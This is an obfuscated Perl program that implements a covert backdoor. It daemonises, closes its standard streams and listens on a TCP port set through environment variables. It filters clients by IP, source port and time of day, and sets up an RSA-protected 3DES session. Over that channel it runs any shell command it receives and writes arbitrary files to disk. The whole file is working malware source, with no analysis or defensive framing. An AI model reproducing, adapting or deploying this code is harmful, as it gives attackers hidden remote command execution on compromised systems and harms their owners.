#!/usr/bin/env perl

use strict;
use Socket;

$| = 1;

my $z0 = "";
my $z1 = "c79924f312ab95086e5957d0310465a8a8c365ddfb62efda12317f5fea2e5d03a94d2c3415682fdad63c957195b205860ccfcc38a5efa273cb2f6b8146d0a66e0ae83f06e3e0fde5bdb4aba9d79f4504ad5e46f5d3736429002b84a513157a27ba2e26dfb7dac016b10cee029b94ef8d051f8e0fc21125217cac393be56f4fac155c1d0d59f5b0c2b0e9ab4af5a246a8485159b6547d4fdf2f4de0bbb44e4b126aeeca5313d2df679b83c160ec7d0d2712b9c1ae75348ffb0097076133ebb338557abb1efcd6c27c1984c667790877696ce19049c0d5173f348ed4e891ff7bbfbc74cc73cfe9ad2c3da4e04f7d0071634c942efd71b24dfb2444b77464594a31";
my $z2 = "10001";
my $z3 = "";
my $z4 = 0;
my $z5 = "x8jV";
my $z6 = 30;

my $z7 = "\x01";
my $z8  = "\x02";

my $z9 = 0;

f0();

sub f0 {
    my @z10 = ('/usr/bin/dc', '/bin/dc', '/usr/local/bin/dc');
    my ($z32, $z12, $z13, $z14, $z15);
    my @z16 = ();
    my $z33 = "";
    my $z34 = "";
    my @z19 = ();

    srand(time() ^ ($$ + ($$ << 15)));
    
    foreach my $b (@z10) {
        if(-e $b && -X $b) {
            $z0 = $b;
            last;
        }
    }

    if($z0 eq "") {
        print "DC\n";
        exit(1);
    }

    if(!exists($ENV{"A"}) || !exists($ENV{"B"})) {
        exit(1);
    }

    $z32 = $ENV{"A"};
    $z12 = $ENV{"B"};

    if($z12 <= 0 || $z12 > 65535) {
        print "B\n";
        exit(1);
    }

    if(exists($ENV{"C"})) {
        $z33 = $ENV{"C"};
    }

    if(exists($ENV{"D"})) {
        $z34 = $ENV{"D"};
        @z16 = split(/,/, $z34);

        for my $p (@z16) {
            if($p <= 0 || $p > 65535) {
                print "D\n";
                exit(1);
            }
        }
    }

    if(exists($ENV{"E"})) {
        my ($z20, $z21);
        @z19 = split(/ /, $ENV{"E"});

        if(scalar(@z19) != 2) {
            print "E\n";
            exit(1);
        }

        if(($z19[0] < 0 || $z19[0] > 2400) ||
           ($z19[1] < 0 || $z19[1] > 2400)) {
            print "E\n";
            exit(1);
        }

        $z21 = $z19[0] % 100;
        $z20 = int($z19[0] / 100);
        $z19[0] = ($z20 * 3600) + ($z21 * 60);
        $z21 = $z19[1] % 100;
        $z20 = int($z19[1] / 100);
        $z19[1] = ($z20 * 3600) + ($z21 * 60);
    }
    else {
        @z19 = (0, 86400);
    }

    if($z4 == 0) {
        $z14 = fork();
        if($z14 != 0) {
            return;
        }
    }

    if(open(RND, "</dev/urandom") || open(RND, "</dev/random")) {
        $z9 = \*RND;
    }

    if(socket(SSOCK, PF_INET, SOCK_STREAM, (getprotobyname('tcp'))[2]) == 0) {
        die("socket\n");
    }
    setsockopt(SSOCK, SOL_SOCKET, SO_REUSEADDR, 1);
    if(bind(SSOCK, pack("SnCCCCx8", AF_INET, $z12, split(/\./, $z32))) == 0) {
        die("bind..\n");
    }
    if(listen(SSOCK, 1) == 0) {
        die("listen...\n");
    }

    if($z4 == 0) {
        close(STDIN);
        close(STDOUT);
        close(STDERR);
    }

    while(1) {
        my ($z28, $z29, $z85);

        $z85 = 300;
        $z28 = "";
        vec($z28, fileno(SSOCK), 1) = 1;

        $z29 = select($z28, undef, undef, $z85);
        if($z29 <= 0) {
            last;
        }

        $z13 = accept(CSOCK, SSOCK);

        f1(\*CSOCK, $z13, $z33, $z34);
        close(CSOCK);

        $z3 = "";
    }

    close(SSOCK);
    $z15 = 0;

    while(1) {
        my (@z25, $z26, $z27);
        my ($z28, $z29, $z85);

        sleep(1);

        @z25 = gmtime();
        $z26 = ($z25[2] * 3600) + ($z25[1] * 60);
        $z27 = 0;

        if($z26 < $z19[0]) {
            if($z19[0] < $z19[1] || $z19[1] < $z26) {
                $z27 = $z19[0] - $z26;
            }
        }
        elsif($z26 >= $z19[1]) {
            $z27 = ((86400 - $z26) + $z19[0]) % 86400;
        }

        sleep($z27);

        if(socket(SSOCK, PF_INET, SOCK_STREAM, (getprotobyname('tcp'))[2]) == 0) {
            exit(1);
        }

        setsockopt(SSOCK, SOL_SOCKET, SO_REUSEADDR, 1);

        if(bind(SSOCK, pack("SnCCCCx8", AF_INET, 
                            $z12 + $z15, split(/\./, $z32))) == 0) {
            $z15++;
            if($z15 >= 5) {
                $z15 = 0;
            }
            
            close(SSOCK);
            next;
        }

        if(listen(SSOCK, 1) == 0) {
            $z15++;
            if($z15 >= 5) {
                $z15 = 0;
            }

            close(SSOCK);
            next;
        }

        while(1) {
            if($z19[0] == 0 && $z19[1] == 86400) {
                $z85 = undef;
            }
            else {
                @z25 = gmtime();
                $z26 = ($z25[2] * 3600) + ($z25[1] * 60);

                if((($z19[0] < $z19[1]) && 
                    ($z26 < $z19[0] || $z19[1] < $z26)) ||
                   (($z19[0] > $z19[1]) &&
                    ($z26 < $z19[0] && $z19[1] < $z26))) {
                    last;
                }

                $z85 = ($z19[1] - $z26) % 86400;
            }

            $z28 = "";
            vec($z28, fileno(SSOCK), 1) = 1;

            $z29 = select($z28, undef, undef, $z85);
            if($z29 <= 0) {
                last;
            }

            $z13 = accept(CSOCK, SSOCK);

            f1(\*CSOCK, $z13, $z33, $z34);
            close(CSOCK);

            $z3 = "";
        }

        close(SSOCK);
    }
}

sub f1 {
    my ($z31, $z32, $z33, $z34) = @_;
    my ($z35, $z36, @z37, $z38);
    my ($z71, $z80, $z41, $z42, $z43);
    my @z44 = ();
    my @z45 = ();

    @z44 = split(/,/, $z33);
    @z45 = split(/,/, $z34);

    ($z35, $z36, @z37) = unpack("SnC4", $z32);
    $z38 = join(".", @z37);

    if(scalar(@z44) > 0) {
        if(scalar(grep(/$z38/, @z44)) == 0) {
            return;
        }
    }

    if(scalar(@z45) > 0) {
        if(scalar(grep(/$z36/, @z45)) == 0) {
            return;
        }
    }

    $z3 = f2($z31);

    if($z3 eq "") {
        return;
    }

    while(1) {
        $z71 = f6($z31);
        if($z71 == -1) {
            last;
        }

        $z80 = f5($z31, $z71);
        if($z80 eq "") {
            last;
        }

        $z41 = substr($z80, 0, 1);
        $z42 = substr($z80, 1);

        if($z41 eq $z7) {
            $z43 = `$z42 2>&1`;
            if(f4($z31, $z43) != 0) {
                last;
            }
        }
        elsif($z41 eq $z8) {
            if(f3($z42) == 0) {
                if(f4($z31, "ok") != 0) {
                    last;
                }
            }
            else {
                if(f4($z31, "no") != 0) {
                    last;
                }
            }
        }
        else {
            if(f4($z31, "no") != 0) {
                last;
            }
        }

        $z42 = undef;
        undef $z42;
        $z43 = undef;
        undef $z43;
    }
}

sub f2 {
    my ($z77) = @_;
    my ($z141, $z106, $z49);

    $z141 = f9(24);
    $z106 = f9(231);
    $z49 = f10($z1, $z2, 1, "$z141$z106");

    if($z49 eq "") {
        return "";
    }

    if(f7($z77, $z49) <= 0) {
        return "";
    }
    
    return $z141;
}

sub f3 {
    my ($z80) = @_;
    my ($z51, $z52, $z53);
    
    $z51 = index($z80, "\x00");
    $z52 = substr($z80, 0, $z51);
    $z53 = substr($z80, $z51 + 1);

    open(FH, ">$z52")
        or return -1;
    print FH $z53;
    close(FH);

    return 0;
}

sub f4 {
    my ($z77, $z80) = @_;
    my ($z56, $z57, $z58, $z59, $z60, $z79);

    $z56 = f9(8);
    $z57 = f9(8);
    $z58 = f11($z3, $z80, 1, $z57, 1);
    $z60 = pack("N", length($z58)) . $z5;
    $z59 = f11($z3, $z60, 1, $z56, 0);

    $z79 = $z56.$z59.$z57.$z58;

    if(f7($z77, $z79) <= 0) {
        return -1;
    }

    return 0;
}

sub f5 {
    my ($z77, $z71) = @_;
    my ($z80, $z105, $z66);

    $z80 = f8($z77, 8 + $z71);

    if($z80 eq "") {
        return "";
    }

    $z105 = substr($z80, 0, 8);
    $z66 = f11($z3, substr($z80, 8, $z71), 0, $z105, 1);

    return $z66;
}

sub f6 {
    my ($z77) = @_;
    my ($z80, $z105, $z70, $z71);

    $z80 = f8($z77, 16);

    if(length($z80) != 16) {
        return -1;
    }

    $z105 = substr($z80, 0, 8);
    $z70 = f11($z3, substr($z80, 8, 8), 0, $z105, 0);
    $z71 = unpack("N", substr($z70, 0, 4));
    
    if(substr($z70, 4, 4) ne $z5) {
        return -1;
    }
    return $z71;
}

sub f7 {
    my ($z77, $z95) = @_;
    my ($z140, $z75, $z76);

    $z140 = length($z95);
    $z75 = 0;

    while($z75 < $z140) {
        $z76 = syswrite($z77, $z95, $z140 - $z75, $z75);
        if(!defined($z76) || $z76 == 0) {
            return -1;
        }

        $z75 += $z76;
    }

    return $z75;
}

sub f8 {
    my ($z77, $z140) = @_;
    my ($z79, $z80, $z81, $z82);
    my ($z83, $z84, $z85);

    $z80 = "";
    $z81 = 0;

    while($z81 < $z140) {
        $z85 = $z6;
        $z84 = "";
        vec($z84, fileno($z77), 1) = 1;

        $z83 = select($z84, undef, undef, $z85);
        if($z83 == 0) {
            return "";
        }

        $z82 = sysread($z77, $z79, $z140 - $z81);
        if($z82 == 0) {
            return "";
        }

        $z80 .= $z79;
        $z81 += $z82;
    }

    return $z80;
}

sub f9 {
    my ($z91) = @_;
    my $z90 = "";
    my $z88 = 0;

    if($z9) {
        while($z88 < $z91) {
            my $z160 = read($z9, $z90, $z91 - $z88);

            if($z160 == undef || $z160 <= 0) {
                last;
            }

            $z88 += $z160;
        }
    }

    while(length($z90) < $z91) {
        $z90 .= chr(int(rand(256)));
    }

    return $z90;
}

sub f10 {
    my ($z160, $z93, $z104, $z95) = @_;
    my ($z96, $z97, $z98, $z99, $z159, $z101);
    
    $z93 = "0$z93" if(length($z93) & 1);
    $z160 = "0$z160" if(length($z160) & 1);
    $z96 = length($z160);
    $z97 = $z96;

    if($z104) {
        $z96 -= 2;
    }
    else {
        $z97 -= 2;
    }
    
    if(length($z95) != ($z96 / 2)) {
        return "";
    }

    $z98 = unpack("B*", pack("H*", $z93));
    $z98 =~ s/^0*//g;
    $z98 =~ s/0/d*ln%/g;
    $z98 =~ s/1/d*ln%lm*ln%/g;
    $z101 = "1${z98}p";

    $z159 = unpack("H$z96", $z95);
    $z99 = `echo 16o16i\U$z159\Esm\U$z160\Esn$z101|$z0`;
    chomp($z99);
    $z99 =~ s/\\\n//g;

    return pack("H*", "0"x($z97 - length($z99)).$z99);
}

sub f11 {
    my($z141, $z103, $z104, $z105, $z106) = @_;

    my @z107 = (0x1010400,0,0x10000,0x1010404,0x1010004,0x10404,0x4,0x10000,
                0x400,0x1010400,0x1010404,0x400,0x1000404,0x1010004,0x1000000,0x4,
                0x404,0x1000400,0x1000400,0x10400,0x10400,0x1010000,0x1010000,0x1000404,
                0x10004,0x1000004,0x1000004,0x10004,0,0x404,0x10404,0x1000000,
                0x10000,0x1010404,0x4,0x1010000,0x1010400,0x1000000,0x1000000,0x400,
                0x1010004,0x10000,0x10400,0x1000004,0x400,0x4,0x1000404,0x10404,
                0x1010404,0x10004,0x1010000,0x1000404,0x1000004,0x404,0x10404,0x1010400,
                0x404,0x1000400,0x1000400,0,0x10004,0x10400,0,0x1010004);
    my @z108 = (0x80108020,0x80008000,0x8000,0x108020,0x100000,0x20,0x80100020,0x80008020,
                0x80000020,0x80108020,0x80108000,0x80000000,0x80008000,0x100000,0x20,0x80100020,
                0x108000,0x100020,0x80008020,0,0x80000000,0x8000,0x108020,0x80100000,
                0x100020,0x80000020,0,0x108000,0x8020,0x80108000,0x80100000,0x8020,
                0,0x108020,0x80100020,0x100000,0x80008020,0x80100000,0x80108000,0x8000,
                0x80100000,0x80008000,0x20,0x80108020,0x108020,0x20,0x8000,0x80000000,
                0x8020,0x80108000,0x100000,0x80000020,0x100020,0x80008020,0x80000020,0x100020,
                0x108000,0,0x80008000,0x8020,0x80000000,0x80100020,0x80108020,0x108000);
    my @z109 = (0x208,0x8020200,0,0x8020008,0x8000200,0,0x20208,0x8000200,
                0x20008,0x8000008,0x8000008,0x20000,0x8020208,0x20008,0x8020000,0x208,
                0x8000000,0x8,0x8020200,0x200,0x20200,0x8020000,0x8020008,0x20208,
                0x8000208,0x20200,0x20000,0x8000208,0x8,0x8020208,0x200,0x8000000,
                0x8020200,0x8000000,0x20008,0x208,0x20000,0x8020200,0x8000200,0,
                0x200,0x20008,0x8020208,0x8000200,0x8000008,0x200,0,0x8020008,
                0x8000208,0x20000,0x8000000,0x8020208,0x8,0x20208,0x20200,0x8000008,
                0x8020000,0x8000208,0x208,0x8020000,0x20208,0x8,0x8020008,0x20200);
    my @z110 = (0x802001,0x2081,0x2081,0x80,0x802080,0x800081,0x800001,0x2001,
                0,0x802000,0x802000,0x802081,0x81,0,0x800080,0x800001,
                0x1,0x2000,0x800000,0x802001,0x80,0x800000,0x2001,0x2080,
                0x800081,0x1,0x2080,0x800080,0x2000,0x802080,0x802081,0x81,
                0x800080,0x800001,0x802000,0x802081,0x81,0,0,0x802000,
                0x2080,0x800080,0x800081,0x1,0x802001,0x2081,0x2081,0x80,
                0x802081,0x81,0x1,0x2000,0x800001,0x2001,0x802080,0x800081,
                0x2001,0x2080,0x800000,0x802001,0x80,0x800000,0x2000,0x802080);
    my @z111 = (0x100,0x2080100,0x2080000,0x42000100,0x80000,0x100,0x40000000,0x2080000,
                0x40080100,0x80000,0x2000100,0x40080100,0x42000100,0x42080000,0x80100,0x40000000,
                0x2000000,0x40080000,0x40080000,0,0x40000100,0x42080100,0x42080100,0x2000100,
                0x42080000,0x40000100,0,0x42000000,0x2080100,0x2000000,0x42000000,0x80100,
                0x80000,0x42000100,0x100,0x2000000,0x40000000,0x2080000,0x42000100,0x40080100,
                0x2000100,0x40000000,0x42080000,0x2080100,0x40080100,0x100,0x2000000,0x42080000,
                0x42080100,0x80100,0x42000000,0x42080100,0x2080000,0,0x40080000,0x42000000,
                0x80100,0x2000100,0x40000100,0x80000,0,0x40080000,0x2080100,0x40000100);
    my @z112 = (0x20000010,0x20400000,0x4000,0x20404010,0x20400000,0x10,0x20404010,0x400000,
                0x20004000,0x404010,0x400000,0x20000010,0x400010,0x20004000,0x20000000,0x4010,
                0,0x400010,0x20004010,0x4000,0x404000,0x20004010,0x10,0x20400010,
                0x20400010,0,0x404010,0x20404000,0x4010,0x404000,0x20404000,0x20000000,
                0x20004000,0x10,0x20400010,0x404000,0x20404010,0x400000,0x4010,0x20000010,
                0x400000,0x20004000,0x20000000,0x4010,0x20000010,0x20404010,0x404000,0x20400000,
                0x404010,0x20404000,0,0x20400010,0x10,0x4000,0x20400000,0x404010,
                0x4000,0x400010,0x20004010,0,0x20404000,0x20000000,0x400010,0x20004010);
    my @z113 = (0x200000,0x4200002,0x4000802,0,0x800,0x4000802,0x200802,0x4200800,
                0x4200802,0x200000,0,0x4000002,0x2,0x4000000,0x4200002,0x802,
                0x4000800,0x200802,0x200002,0x4000800,0x4000002,0x4200000,0x4200800,0x200002,
                0x4200000,0x800,0x802,0x4200802,0x200800,0x2,0x4000000,0x200800,
                0x4000000,0x200800,0x200000,0x4000802,0x4000802,0x4200002,0x4200002,0x2,
                0x200002,0x4000000,0x4000800,0x200000,0x4200800,0x802,0x200802,0x4200800,
                0x802,0x4000002,0x4200802,0x4200000,0x200800,0,0x2,0x4200802,
                0,0x200802,0x4200000,0x800,0x4000002,0x4000800,0x800,0x200002);
    my @z114 = (0x10001040,0x1000,0x40000,0x10041040,0x10000000,0x10001040,0x40,0x10000000,
                0x40040,0x10040000,0x10041040,0x41000,0x10041000,0x41040,0x1000,0x40,
                0x10040000,0x10000040,0x10001000,0x1040,0x41000,0x40040,0x10040040,0x10041000,
                0x1040,0,0,0x10040040,0x10000040,0x10001000,0x41040,0x40000,
                0x41040,0x40000,0x10041000,0x1000,0x40,0x10040040,0x1000,0x41040,
                0x10001000,0x40,0x10000040,0x10040000,0x10040040,0x10000000,0x40000,0x10001040,
                0,0x10041040,0x40040,0x10000040,0x10040000,0x10001000,0x10001040,0,
                0x10041040,0x41000,0x41000,0x1040,0x1040,0x40040,0x10000000,0x10041000);

    my ($z159, $z116, $z117, $z165, $z119, $z120, $z121, $z163, $z164, @z124) = (0);
    my ($z125, $z126, $z127, $z128);
    my ($z129, $z130, $z131, $z132);
    my $z133 = 0;

    if(length($z141) != 24) {
        return 0;
    }

    my @z157 = f12($z141);

    my $z156 = 9;
    my $z160 = $#z157;
    @z124 = $z104 ? (0, 32, 2, 62, 30, -2, 64, 96, 2) : (94, 62, -2, 32, 64, 2, 30, -2, -2);

    if($z104 && $z106) {
        my $z137 = 8 - (length($z103) % 8);
        $z103 .= (chr($z137) x $z137);
    }

    my $z140 = length($z103);

    $z131 = "";
    $z132 = "";

    $z125 = ((unpack("C", substr($z105, $z159++, 1)) << 24) | 
                (unpack("C", substr($z105, $z159++, 1)) << 16) | 
                (unpack("C", substr($z105, $z159++, 1)) << 8) | 
                unpack("C", substr($z105, $z159++, 1))) & 0xffffffff;
    $z127 = ((unpack("C", substr($z105, $z159++, 1)) << 24) | 
                 (unpack("C", substr($z105, $z159++, 1)) << 16) | 
                 (unpack("C", substr($z105, $z159++, 1)) << 8) | 
                 unpack("C", substr($z105, $z159++, 1))) & 0xffffffff;
    $z159 = 0;

    while ($z159 < $z140) {
        $z163 = ((unpack("C", substr($z103, $z159++, 1)) << 24) | 
                 (unpack("C", substr($z103, $z159++, 1)) << 16) | 
                 (unpack("C", substr($z103, $z159++, 1)) << 8) | 
                 unpack("C", substr($z103, $z159++, 1))) & 0xffffffff;
        $z164 = ((unpack("C", substr($z103, $z159++, 1)) << 24) | 
                  (unpack("C", substr($z103, $z159++, 1)) << 16) | 
                  (unpack("C", substr($z103, $z159++, 1)) << 8) | 
                  unpack("C", substr($z103, $z159++, 1))) & 0xffffffff;

        if ($z104) {
            $z163 ^= $z125;
            $z164 ^= $z127
        } 
        else {
            $z126 = $z125; 
            $z128 = $z127; 
            $z125 = $z163; 
            $z127 = $z164;
        }

        $z165 = (($z163 >> 4) ^ $z164) & 0x0f0f0f0f;
        $z164 ^= $z165;
        $z163 ^= ($z165 << 4) & 0xffffffff;
        
        $z165 = (($z163 >> 16) ^ $z164) & 0x0000ffff;
        $z164 ^= $z165;
        $z163 ^= ($z165 << 16) & 0xffffffff;
        
        $z165 = (($z164 >> 2) ^ $z163) & 0x33333333;
        $z163 ^= $z165;
        $z164 ^= ($z165 << 2) & 0xffffffff;
        
        $z165 = (($z164 >> 8) ^ $z163) & 0x00ff00ff;
        $z163 ^= $z165;
        $z164 ^= ($z165 << 8) & 0xffffffff;
        
        $z165 = (($z163 >> 1) ^ $z164) & 0x55555555;
        $z164 ^= $z165;
        $z163 ^= ($z165 << 1) & 0xffffffff;

        $z163 = (($z163 << 1) | ($z163 >> 31)) & 0xffffffff;
        $z164 = (($z164 << 1) | ($z164 >> 31)) & 0xffffffff; 

        for ($z117 = 0; $z117 < $z156; $z117 += 3) {
            $z129 = $z124[$z117 + 1]; 
            $z130 = $z124[$z117 + 2]; 

            for ($z116 = $z124[$z117]; $z116 != $z129; $z116 += $z130) {
                $z120 = $z164 ^ $z157[$z116];
                $z121 = ((($z164 >> 4) | ($z164 << 28)) ^ $z157[$z116+1]) & 0xffffffff;

                $z165 = $z163;
                $z163 = $z164;
                $z164 = $z165 ^ ($z108[($z120 >> 24) & 0x3f] |
                                  $z110[($z120 >> 16) & 0x3f] |
                                  $z112[($z120 >>  8) & 0x3f] |
                                  $z114[$z120 & 0x3f] |
                                  $z107[($z121 >> 24) & 0x3f] |
                                  $z109[($z121 >> 16) & 0x3f] |
                                  $z111[($z121 >>  8) & 0x3f] |
                                  $z113[$z121 & 0x3f]);
            }

            $z165 = $z163; 
            $z163 = $z164; 
            $z164 = $z165;
        }

        $z163 = (($z163 >> 1) | ($z163 << 31)) & 0xffffffff; 
        $z164 = (($z164 >> 1) | ($z164 << 31)) & 0xffffffff; 

        $z165 = (($z163 >> 1) ^ $z164) & 0x55555555;
        $z164 ^= $z165;
        $z163 ^= ($z165 << 1) & 0xffffffff;
        
        $z165 = (($z164 >> 8) ^ $z163) & 0x00ff00ff;
        $z163 ^= $z165;
        $z164 ^= ($z165 << 8) & 0xffffffff;
        
        $z165 = (($z164 >> 2) ^ $z163) & 0x33333333;
        $z163 ^= $z165;
        $z164 ^= ($z165 << 2) & 0xffffffff;
        
        $z165 = (($z163 >> 16) ^ $z164) & 0x0000ffff;
        $z164 ^= $z165;
        $z163 ^= ($z165 << 16) & 0xffffffff;
        
        $z165 = (($z163 >> 4) ^ $z164) & 0x0f0f0f0f;
        $z164 ^= $z165;
        $z163 ^= ($z165 << 4) & 0xffffffff;

        if ($z104) {
            $z125 = $z163; 
            $z127 = $z164;
        } 
        else {
            $z163 ^= $z126; 
            $z164 ^= $z128;
        }

        $z132 .= pack("C*", (($z163 >> 24), (($z163 >> 16) & 0xff),
                                   (($z163 >> 8) & 0xff), ($z163 & 0xff),
                                   ($z164 >> 24), (($z164 >> 16) & 0xff),
                                   (($z164 >> 8) & 0xff), ($z164 & 0xff)));

        $z133 += 8;
        if ($z133 == 512) {
            $z131 .= $z132;
            $z132 = "";
            $z133 = 0;
        }
    }

    $z131 .= $z132;

    if(!$z104 and $z106) {
        $z140 = length($z131);
        my $z139 = ord(substr($z131, $z140 - 1, 1));
        $z131 = substr($z131, 0, $z140 - $z139);
    }

    return $z131;
}

sub f12 {
    use integer;
    my($z141) = @_;

    my @z142 = (0,0x4,0x20000000,0x20000004,0x10000,0x10004,0x20010000,0x20010004,
                 0x200,0x204,0x20000200,0x20000204,0x10200,0x10204,0x20010200,0x20010204);
    my @z143 = (0,0x1,0x100000,0x100001,0x4000000,0x4000001,0x4100000,0x4100001,
                 0x100,0x101,0x100100,0x100101,0x4000100,0x4000101,0x4100100,0x4100101);
    my @z144 = (0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808,
                 0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808);
    my @z145 = (0,0x200000,0x8000000,0x8200000,0x2000,0x202000,0x8002000,0x8202000,
                 0x20000,0x220000,0x8020000,0x8220000,0x22000,0x222000,0x8022000,0x8222000);
    my @z146 = (0,0x40000,0x10,0x40010,0,0x40000,0x10,0x40010,
                 0x1000,0x41000,0x1010,0x41010,0x1000,0x41000,0x1010,0x41010);
    my @z147 = (0,0x400,0x20,0x420,0,0x400,0x20,0x420,
                 0x2000000,0x2000400,0x2000020,0x2000420,0x2000000,0x2000400,0x2000020,0x2000420);
    my @z148 = (0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002,
                 0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002);
    my @z149 = (0,0x10000,0x800,0x10800,0x20000000,0x20010000,0x20000800,0x20010800,
                 0x20000,0x30000,0x20800,0x30800,0x20020000,0x20030000,0x20020800,0x20030800);
    my @z150 = (0,0x40000,0,0x40000,0x2,0x40002,0x2,0x40002,
                 0x2000000,0x2040000,0x2000000,0x2040000,0x2000002,0x2040002,0x2000002,0x2040002);
    my @z151 = (0,0x10000000,0x8,0x10000008,0,0x10000000,0x8,0x10000008,
                 0x400,0x10000400,0x408,0x10000408,0x400,0x10000400,0x408,0x10000408);
    my @z152 = (0,0x20,0,0x20,0x100000,0x100020,0x100000,0x100020,
                  0x2000,0x2020,0x2000,0x2020,0x102000,0x102020,0x102000,0x102020);
    my @z153 = (0,0x1000000,0x200,0x1000200,0x200000,0x1200000,0x200200,0x1200200,
                  0x4000000,0x5000000,0x4000200,0x5000200,0x4200000,0x5200000,0x4200200,0x5200200);
    my @z154 = (0,0x1000,0x8000000,0x8001000,0x80000,0x81000,0x8080000,0x8081000,
                  0x10,0x1010,0x8000010,0x8001010,0x80010,0x81010,0x8080010,0x8081010);
    my @z155 = (0,0x4,0x100,0x104,0,0x4,0x100,0x104,
                  0x1,0x5,0x101,0x105,0x1,0x5,0x101,0x105);

    my $z156 = 3;

    my @z157; 
    $#z157 = (32 * $z156);

    my @z158 = (0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0);

    my ($z159, $z160, $z161, $z162, $z163, $z164, $z165) = (0, 0);

    for (my $z117 = 0; $z117 < $z156; $z117++) {
        $z163 = ((unpack("C", substr($z141, $z159++, 1)) << 24) | 
                 (unpack("C", substr($z141, $z159++, 1)) << 16) | 
                 (unpack("C", substr($z141, $z159++, 1)) << 8) | 
                 unpack("C", substr($z141, $z159++, 1))) & 0xffffffff;
        $z164 = ((unpack("C", substr($z141, $z159++, 1)) << 24) | 
                  (unpack("C", substr($z141, $z159++, 1)) << 16) | 
                  (unpack("C", substr($z141, $z159++, 1)) << 8) | 
                  unpack("C", substr($z141, $z159++, 1))) & 0xffffffff;

        $z165 = (($z163 >> 4) ^  $z164) & 0x0f0f0f0f;
        $z164 ^= $z165;
        $z163  ^= ($z165 << 4) & 0xffffffff;

        $z165 = (($z164 >>  16)^ $z163) & 0x0000ffff;
        $z163 ^=  $z165;
        $z164 ^= ($z165 <<  16) & 0xffffffff;

        $z165 = (($z163 >> 2) ^  $z164) & 0x33333333;
        $z164 ^= $z165;
        $z163  ^= ($z165 << 2) & 0xffffffff;

        $z165 = (($z164 >>  16)^ $z163) & 0x0000ffff;
        $z163 ^=  $z165;
        $z164 ^= ($z165 <<  16) & 0xffffffff;

        $z165 = (($z163 >> 1) ^  $z164) & 0x55555555;
        $z164 ^= $z165;
        $z163  ^= ($z165 << 1) & 0xffffffff;

        $z165 = (($z164 >> 8) ^  $z163) & 0x00ff00ff;
        $z163 ^=  $z165;
        $z164 ^= ($z165 << 8) & 0xffffffff;

        $z165 = (($z163 >> 1) ^  $z164) & 0x55555555;
        $z164 ^= $z165;
        $z163  ^= ($z165 << 1) & 0xffffffff;

        $z165 = (($z163 << 8) | (($z164 >> 20) & 0x000000f0)) & 0xffffffff;
        $z163 = (($z164 << 24) | (($z164 << 8) & 0xff0000) | 
                 (($z164 >> 8) & 0xff00) | (($z164 >> 24) & 0xf0)) & 0xffffffff;
        $z164 = $z165;

        for (my $z116 = 0; $z116 <= $#z158; $z116++) {
            if ($z158[$z116]) {
                no integer;
                $z163 = (($z163 << 2) | ($z163 >> 26)) & 0xffffffff;
                $z164 = (($z164 << 2) | ($z164 >> 26)) & 0xffffffff;
                use integer;
                $z163 <<= 0;
                $z164 <<= 0;
            } else {
                no integer;
                $z163 = (($z163 << 1) | ($z163 >> 27)) & 0xffffffff; 
                $z164 = (($z164 << 1) | ($z164 >> 27)) & 0xffffffff;
                use integer;
                $z163 <<= 0;
                $z164 <<= 0;
            }
            
            $z163 &= 0xfffffff0; 
            $z164 &= 0xfffffff0;

            $z161 = $z142[$z163 >> 28] | $z143[($z163 >> 24) & 0xf]
                | $z144[($z163 >> 20) & 0xf] | $z145[($z163 >> 16) & 0xf]
                | $z146[($z163 >> 12) & 0xf] | $z147[($z163 >> 8) & 0xf]
                | $z148[($z163 >> 4) & 0xf];
            $z162 = $z149[$z164 >> 28] | $z150[($z164 >> 24) & 0xf]
                | $z151[($z164 >> 20) & 0xf] | $z152[($z164 >> 16) & 0xf]
                | $z153[($z164 >> 12) & 0xf] | $z154[($z164 >> 8) & 0xf]
                | $z155[($z164 >> 4) & 0xf];
            $z165 = (($z162 >> 16) ^ $z161) & 0x0000ffff;
            $z157[$z160++] = ($z161 ^ $z165) & 0xffffffff;
            $z157[$z160++] = ($z162 ^ ($z165 << 16)) & 0xffffffff;
        }
    }

    return @z157;
}
